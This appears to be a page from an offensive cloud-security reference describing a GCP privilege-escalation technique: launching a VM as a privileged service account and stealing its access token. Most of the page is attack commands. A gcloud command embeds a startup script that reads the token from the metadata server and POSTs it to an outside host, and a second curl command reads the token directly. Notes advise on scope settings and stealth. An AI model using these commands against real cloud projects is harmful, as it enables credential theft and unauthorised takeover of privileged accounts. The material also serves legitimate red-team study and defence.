With compute.instances.create and iam.serviceAccounts.actAs on a privileged service account, you launch a VM that runs as that account. Boot it with the cloud-platform scope and read the account's token from the metadata server, or pass a startup script that exfiltrates the token so you never need to log in.
Launch with a privileged account#
gcloud compute instances create pwn --zone <zone> \
--service-account=<privileged-sa>@<project>.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata=startup-script='#! /bin/bash
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| curl -X POST -d @- https://you.example'
If you can reach the box, skip the script and read the token after SSHing in:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
Exploitation notes#
- The access scope caps what the token can do: a VM created without
cloud-platformmay hold the role but be scope-limited, so always set--scopes=cloud-platform. - The target account must be usable in the project and you must hold
actAson it;gcloud iam service-accounts listplus its IAM policy confirm candidates. - This is noisier than impersonation (it creates a billable VM), so prefer getAccessToken when you hold it; use this when
actAsplus create is the only lever.
Tools#
- gcloud (
compute instances create): the launch. - GCP-IAM-Privilege-Escalation (Rhino): automates the create-and-steal variant.